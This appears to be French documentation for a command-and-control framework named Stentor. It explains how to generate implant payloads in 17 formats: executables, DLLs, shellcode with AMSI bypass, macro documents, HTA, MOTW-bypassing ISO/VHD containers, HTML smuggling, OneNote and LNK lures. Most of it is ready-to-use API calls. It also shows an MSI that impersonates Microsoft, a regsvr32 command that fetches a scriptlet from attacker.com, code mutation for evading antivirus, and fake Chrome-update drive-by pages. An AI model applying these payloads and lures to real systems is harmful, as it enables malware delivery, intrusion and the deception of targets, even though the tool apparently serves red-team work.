Formats de payload¶

Stentor génère des payloads dans 17 formats de sortie couvrant tous les principaux scénarios de livraison : des exécutables Windows standard aux conteneurs contournant MOTW et à la contrebande HTML basée sur un navigateur. Chaque format est spécialement conçu pour des besoins opérationnels spécifiques avec des compromis OPSEC distincts.

Aperçu¶

Le pipeline de génération de payload transforme le code source de l'implant Go en binaires déployables via une compilation croisée et un obfuscation facultative sur l'agent Relay.

flowchart LR
    A[Operator] -->|POST /api/v1/payloads/generate| B[Backend]
    B -->|WebSocket dispatch| C[Relay]
    C -->|Go cross-compile<br>+ Garble obfuscation<br>+ Donut shellcode| D[Payload Binary]
    D -->|Return binary| B
    B -->|Store + respond| A

Livraison stageless vs staged¶

Stentor prend en charge deux modèles de pose d'implants :

Générer des payloads¶

Point de terminaison de l'API¶

POST /api/v1/payloads/generate -- Générez une seule payload via le relais connecté.

Champs de demande¶

Génération EXE de base¶

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "standalone",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "architecture": "x64",
    "filename": "update.exe"
  }'

Génération par lots¶

POST /api/v1/listeners/{id}/generate-all -- Génère toutes les variantes de payload pour un listener sous forme d'archive ZIP.

Produit automatiquement les variantes suivantes :

curl -s -X POST "https://stentor.app/api/v1/listeners/6ea88162-d558-404a-a19f-4b4cab34b22f/generate-all" \
  -H "Authorization: Bearer $TOKEN" \
  -o payloads.zip

Régénération¶

POST /api/v1/payloads/{id}/regenerate -- Reconstruisez un payload à partir de sa configuration stockée. Utile pour générer une nouvelle copie avec un nouveau hachage tout en conservant les mêmes paramètres.

curl -s -X POST "https://stentor.app/api/v1/payloads/abc123/regenerate" \
  -H "Authorization: Bearer $TOKEN"

Télécharger¶

GET /api/v1/payloads/{id}/download -- Téléchargez un binaire de payload généré. Il s'agit d'un point de terminaison public (aucune authentification requise) afin que les cibles puissent récupérer directement les payloads.

curl -s "https://stentor.app/api/v1/payloads/abc123/download" -o payload.exe

Hébergement automatique¶

Définissez host_uri dans la requête de génération pour diffuser automatiquement le payload sur un chemin URI spécifique sur le listener :

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "filename": "update.exe",
    "host_uri": "/updates/kb5034441.exe"
  }'

La réponse comprend un champ hosted_url avec l'URL complète où le payload est accessible.

Formats de payload de base¶

Il s’agit des formats de sortie binaires fondamentaux sur lesquels s’appuient tous les autres mécanismes de livraison.

WindowsEXE¶

Exécutable Windows PE standard : le format de payload le plus simple et le plus direct.

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "standalone",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "architecture": "x64"
  }'

DLL Windows¶

Bibliothèque de liens dynamiques pour les scénarios de chargement latéral de DLL. Se charge dans le contexte d’une application légitime, héritant de sa réputation et de sa confiance.

Options spécifiques aux DLL :

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "dll",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "architecture": "x64"
  }'

ServiceEXE¶

Implémente l'interface Windows Service Control Manager (SCM) pour la persistance basée sur les services. Fonctionne en tant que service Windows, survit aux redémarrages et s'exécute en tant que SYSTEM.

Options spécifiques au service :

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "service",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "architecture": "x64"
  }'

Shellcode brut¶

Code indépendant de la position généré via la conversion Donut. Le format le plus flexible : injectez dans n’importe quel processus sans toucher au disque.

Options spécifiques au shellcode :

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "shellcode",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "shellcode_config": {
      "output_format": "raw",
      "architecture": "x64"
    }
  }'

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "shellcode",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "shellcode_config": {
      "output_format": "csharp",
      "architecture": "x64",
      "compress": true,
      "encrypt": true,
      "bypass_amsi": true
    }
  }'

Stageur¶

Petit téléchargeur (~ 50 Ko) qui récupère l'implant complet à partir d'un point de terminaison intermédiaire. La livraison en deux phases réduit la taille de le payload initiale.

Options spécifiques au Stager :

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "staged",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "architecture": "x64"
  }'

Formats de documents et de macros¶

Mécanismes de livraison traditionnels basés sur des documents. Efficace contre les environnements existants mais de plus en plus bloqué par les politiques Office modernes.

Macro Word (DOCM)¶

Document Word compatible avec les macros contenant du VBA intégré qui exécute le payload à l'ouverture du document.

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "docm",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f"
  }'

Macro Excel (XLSM)¶

Feuille de calcul Excel prenant en charge les macros avec exécution VBA intégrée. Mêmes capacités et limitations que DOCM.

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "xlsm",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f"
  }'

ETS¶

Application HTML exécutée via mshta.exe. Prend en charge trois méthodes d'attaque : téléchargement direct d'exécutables, exécution PowerShell ou injection de shellcode VBA.

Options spécifiques à l'ETS :

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "hta",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "hta_config": {
      "method": "executable",
      "title": "Document Viewer",
      "body_text": "Loading secure document..."
    }
  }'

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "hta",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "hta_config": {
      "method": "powershell",
      "script_type": "vbs"
    }
  }'

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "hta",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "hta_config": {
      "method": "vba"
    }
  }'

Formats de conteneur (contournement MOTW)¶

Ces formats contournent Mark-of-the-Web (MOTW), empêchant ainsi les invites SmartScreen et les contrôles de sécurité basés sur les zones sur les fichiers extraits du conteneur.

OIN¶

Conteneur d'images de disque optique ISO 9660. Windows monte automatiquement les ISO par double-clic, présentant les fichiers dans l'Explorateur sans restrictions MOTW.

Options spécifiques à l'ISO :

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "iso",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "iso_config": {
      "volume_label": "Q4_REPORT",
      "include_lnk": true,
      "lnk_filename": "Q4 Financial Report.lnk",
      "exe_filename": "reader.exe",
      "decoy_filename": "Q4_Report.pdf"
    }
  }'

VHD/VHDX¶

Conteneur de disque dur virtuel. Fonctionnellement similaire à l'ISO pour le contournement MOTW mais utilise le format VHD/VHDX (prise en charge native de Windows 8+).

Options spécifiques au VHD :

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "vhd",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "vhd_config": {
      "format": "vhd",
      "disk_size_mb": 50,
      "volume_label": "DOCS",
      "include_lnk": true,
      "lnk_filename": "Open Report.lnk",
      "exe_filename": "viewer.exe"
    }
  }'

Formats de livraison modernes¶

Mécanismes de livraison contemporains ciblant les failles de sécurité actuelles et exploitant les binaires de systèmes fiables.

Contrebande HTML¶

Incorpore un payload codée en Base64 dans un fichier HTML qui reconstruit et déclenche le téléchargement via un blob JavaScript. Contourne les passerelles de messagerie et les proxys Web qui inspectent les téléchargements de fichiers.

Options de contrebande HTML :

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "html_smuggling",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "html_smuggling_config": {
      "embedded_payload_type": "iso",
      "title": "Secure Document Portal",
      "body_text": "Your document is being prepared for download...",
      "download_filename": "report.iso",
      "auto_download": true
    }
  }'

MSI¶

Package Windows Installer exécuté via le binaire système fiable et signé msiexec.exe.

Options spécifiques à MSI :

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "msi",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "msi_config": {
      "product_name": "Security Update KB5034441",
      "manufacturer": "Microsoft Corporation",
      "product_version": "10.0.19045",
      "install_scope": "perMachine"
    }
  }'

UneNote¶

Package OneNote avec un payload HTA intégrée. Est apparu comme un mécanisme de livraison populaire après que Microsoft ait bloqué les macros par défaut.

Options spécifiques à OneNote :

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "onenote",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "onenote_config": {
      "embedded_payload_type": "hta",
      "button_text": "Click to View Invoice",
      "title": "Invoice #2024-0847"
    }
  }'

ExcelXLL¶

DLL de complément Excel qui s'exécute via l'exportation xlAutoOpen lorsqu'elle est chargée par Excel.

Options spécifiques à XLL :

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "xll",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "architecture": "x64"
  }'

Script COM (SCT)¶

Scriptlet XML exécuté via le binaire système signé regsvr32.exe. Prend en charge l'exécution à partir d'une URL distante sans écrire sur le disque.

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "sct",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f"
  }'

Exécuter sur cible via :

regsvr32 /s /n /u /i:https://attacker.com/update.sct scrobj.dll

LNK¶

Fichier de raccourci Windows intégrant un support de téléchargement PowerShell. Double-cliquez sur l'exécution avec une icône personnalisable.

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "lnk",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "filename": "Q4 Report.lnk"
  }'

Guide de sélection des formats¶

Options communes¶

Ces options s'appliquent à tous ou à la plupart des formats de payload.

Architecture¶

"architecture": "x64"

Architecture cible : x64 (par défaut) ou x86. La plupart des environnements Windows modernes sont en 64 bits : utilisez x86 uniquement lorsque vous ciblez des processus 32 bits ou des systèmes existants.

Obscurcissement¶

"obfuscate": true

Active l'obscurcissement Garble pendant la compilation. Chaque build produit un hachage binaire unique, annulant la détection basée sur les signatures. Augmente le temps de construction d'environ 30 à 60 secondes.

Fonction de sortie¶

"exit_func": "thread"

Contrôle la façon dont le beacon se termine : process (par défaut) appelle ExitProcess -- termine l'ensemble du processus hôte. thread appelle ExitThread -- termine uniquement le thread de beacon, laissant le processus hôte en cours d'exécution. Utilisez thread lorsqu'il est injecté dans un processus légitime que vous souhaitez maintenir en vie.

Date de mise à mort¶

"kill_date": "2026-06-01T00:00:00Z"

Date d'expiration de la RFC3339. Après cette date, le payload s'arrête automatiquement au démarrage et les beacons en cours d'exécution se terminent lors de leur prochain cycle d'interrogation. Utilisez des dates de mise à mort pour limiter les fenêtres d'exposition pendant les engagements limités dans le temps.

Profil malléable¶

"profile": "jquery"

Nom de profil C2 malléable pour la personnalisation du trafic. Les profils contrôlent les transformations de requête/réponse HTTP, les en-têtes, les URI et d’autres indicateurs réseau. Voir Profils malléables pour plus de détails.

Sleep et jitter¶

"sleep": 60,
"jitter": 25

Intervalle de rappel du beacon en secondes et pourcentage de gigue (0-100). Des valeurs de sommeil plus élevées réduisent le bruit du réseau ; la gigue ajoute du caractère aléatoire au timing de rappel pour éviter la détection de modèles périodiques.

Hébergement automatique¶

"host_uri": "/updates/patch.exe"

Diffusez automatiquement le payload générée sur le chemin URI spécifié sur le listener. La réponse inclut le hosted_url complet. L'URI doit commencer par / et ne peut pas utiliser les préfixes /api/ ou /c2/.

Mutation de code¶

"code_mutation": true

Activez la mutation de code par build pour rendre chaque payload générée unique au niveau binaire. Le moteur de mutation applique 4 techniques au moment de la compilation :

Le code de mutation généré est placé dans package beacon avec init() + runtime.KeepAlive pour empêcher l'élimination du code mort. Chaque version produit un binaire avec différents modèles de code, annulant ainsi la détection AV basée sur les signatures.

La mutation de code est appliquée aux 5 types de payload à compilation directe (EXE, DLL, Service DLL, XLL, Shellcode). Les stagers sont exclus (ils importent internal/stager, pas internal/beacon).

Garde-corps OPSEC¶

Configurez des garde-fous d'exécution au moment de l'exécution pour empêcher l'exécution de beacons dans des environnements non autorisés.

"guardrails": {
  "kill_date": "2026-03-31",
  "working_hours": "08:00-18:00",
  "working_days": "Mon-Fri",
  "timezone": "America/New_York",
  "geofence_ips": ["10.10.10.0/24"],
  "geofence_hostnames": ["WS01", "WS02", "DC01"],
  "geofence_domains": ["corp.local"],
  "geofence_usernames": ["labuser", "CORP\\jsmith"],
  "dns_canary": "canary.yourdomain.com",
  "edr_check": true
}

La géolocalisation est revérifiée tous les 10 cycles d'interrogation (et non à chaque cycle) pour minimiser le risque de détection. La suppression des heures de travail utilise un seul long sommeil obscurci au lieu de boucles rapides de contrôle du sommeil. La fonction CleanupArtifacts supprime les noms de tâches planifiées, les modèles de registre et supprime automatiquement le binaire du beacon via un fichier batch à la sortie.

Sélection des transports¶

"transport": "quic"

Sélectionnez le protocole de transport C2. Le transport est détecté automatiquement à partir du type d'listener dans l'interface utilisateur, mais peut être explicitement défini dans l'API.

Voir QUIC Listener pour plus de détails sur le transport QUIC.

Livraison au volant¶

Créez une page de destination d'ingénierie sociale qui héberge un téléchargement de payload déguisé en mise à jour logicielle légitime.

POST /api/v1/payloads/{id}/driveby

# Generate a payload first
PAYLOAD_ID=$(curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f"
  }' | jq -r '.id')

# Create a drive-by page using the Chrome update template
curl -s -X POST "https://stentor.app/api/v1/payloads/$PAYLOAD_ID/driveby" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "template": "chrome",
    "auto_download": true
  }'

Réponse :

{
  "driveby_url": "http://10.0.0.50/update/chrome/<payload-id>?auto=true",
  "payload_url": "http://10.0.0.50/payload/<payload-id>",
  "template": "chrome",
  "payload_id": "<payload-id>"
}

Modèles disponibles :